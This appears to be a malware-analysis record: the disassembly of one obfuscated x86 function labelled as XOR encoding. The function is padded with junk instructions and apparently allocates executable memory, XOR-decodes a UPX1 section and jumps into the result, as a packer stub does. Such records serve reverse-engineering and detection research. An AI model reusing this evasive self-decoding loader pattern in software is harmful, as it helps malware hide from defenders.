Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x6cff1299
sub esi, 1
mov eax, 0x2c6423d7
mov esi, eax
popal
mov eax, esi
sub esi, eax
sub eax, esi
mov esi, 0
mov ebx, edi
mov eax, edx
mov edx, 0x9babe90f
mov eax, 0x67c5c929
mov ecx, ebx
not eax
add edx, edx
dec edx
mov edi, ecx
not edx
and eax, edx
sub eax, 0xe2f29727
inc esi
inc edx
inc edx
or edx, edx
cmp esi, 0x10012be
jne 0xa789cb
dec eax
inc eax
not edx
inc esi
sub esi, 1
sub esi, 1
mov eax, 0xa78796
dec edx
mov esi, 0xec342a36
mov edi, 0xa7898a
sub ecx, 0xf817405e
add edx, 0xadf9c786
sub edx, 0x89bd1f12
mov ebx, dword [eax]
inc ecx
inc esi
dec edx
and ebx, 0xff
or ecx, esi
dec esi
sub esi, 0xad109edb
xor dword [edi], ebx
mov edx, 0x5f189b13
sub esi, edx
inc edi
sub esi, 0x2daec11b
sub ecx, edx
add edx, 0x6caee302
inc eax
add ecx, esi
sub esi, 0x58a05b25
add edx, 0xba6ad7e8
cmp edi, entry0
jl 0xa78a30
add edx, 1
sub esi, ecx
or ecx, edx
mov esi, 0xd518bc5d
add ecx, esi
mov esi, 0x995d9b5e
add edi, ebx
sub edi, esi
sub edi, 1
mov ecx, 0xa7898e
not ebx
inc ebx
mov ecx, dword [ecx]
sub esi, edi
sub edx, 0x6c2f6f68
mov ecx, dword [ecx]
add edi, edx
and esi, edx
push ecx
sub ebx, 0xdf5dcbde
inc ebx
mov ecx, 0xa7898a
and edx, edx
and ebx, edx
mov ecx, dword [ecx]
or edx, edi
and ebx, ebx
mov ecx, dword [ecx]
sub edx, edi
inc esi
not edx
sub esp, 4
mov dword [esp], 0xa78992
sub edx, 1
sub edx, edi
call ecx
sub edx, 0xb7b4b16b
mov ebx, edi
pop ecx
inc edx
mov ebx, esi
push 0xa7899f
dec ebx
add edi, ebx
push eax
add esi, 0x9239c79c
not edi
mov edx, 0x1d42fc20
call ecx
mov ebx, edx
or ebx, edi
mov edi, 0xbbe7c814
push 0x40
dec ebx
not edi
sub edx, 0xb1d2c032
sub esp, 4
mov dword [esp], 0x3000
not edi
sub ebx, edx
add edx, ebx
push 0x20000198
inc ebx
dec edi
push 0
inc edx
add esi, edx
sub edx, 0x4ee132d6
call eax
add edi, 0xb0d0b9f9
sub ebx, edi
and edx, ebx
add eax, 0x20000133
not edx
and esi, ebx
mov ecx, 0x38e25c2b
mov ebx, 0x3d2f9628
dec edx
and esi, edx
mov dword [eax], ecx
mov edx, edi
mov edi, 0x5770f490
sub ebx, 0x1ac6136a
mov ecx, dword [eax]
mov ebx, 0xf56cc41e
or esi, ebx
cmp ecx, 0x38e25c2b
je 0xa78b8b
mov ecx, 0
mov byte [ecx], al
sub edx, 0x661c237c
sub esi, edi
inc edx
mov edx, esi
or ebx, ebx
add edx, 1
not esi
sub esi, eax
mov edx, section.UPX1
sub eax, 0x1db58085
add esi, esi
mov edi, 0xa78795
sub eax, 0xa0670f46
not esi
mov ecx, 0
not eax
sub eax, esi
mov ebx, 0xa78796
add eax, 0x188482de
sub esi, 0x18649a02
add eax, esi
lea ebx, [ebx + ecx]
dec esi
sub esi, 0x91afb1c7
sub esi, 0xf46c0254
mov ebx, dword [ebx]
dec esi
mov eax, 0x35762d80
and ebx, 0xff
add eax, eax
and eax, esi
not esi
inc ecx
not eax
sub eax, 0x7e1d7d14
cmp ecx, 0x1f4
jne 0xa78c12
mov ecx, 0
not eax
sub esi, eax
or eax, esi
add esi, 0x3fcbafa6
add esi, esi
xor dword [edx], ebx
sub eax, esi
inc eax
add edx, 2
and esi, eax
add eax, 0x23fb9bae
cmp edx, edi
jl 0xa78bc5
add esi, eax
not esi
inc esi
inc eax
mov eax, 0x2fbd5547
mov edi, section.UPX1
add ebx, eax
dec eax
mov ecx, section.UPX1
mov ebx, 0x99c8343f
sub ebx, 0x8fabc052
mov esi, 0xa78795
add eax, 0x9b622350
inc eax
mov edx, 0
or ebx, eax
not eax
mov dl, byte [ecx]
mov eax, ebx
mov eax, 0xfbddc9fd
mov eax, ebx
mov byte [edi], dl
sub eax, 1
sub eax, 1
add eax, 0xe5808413
inc edi
not eax
mov ebx, 0x75ec6429
dec eax
add ecx, 2
or eax, ebx
or eax, eax
mov ebx, eax
cmp ecx, esi
jle 0xa78c73
and ebx, ebx
not eax
sub eax, 0x6627a401
inc eax
dec esi
push 0x8dc6a0
sub eax, 0xef3050c8
add esi, eax
ret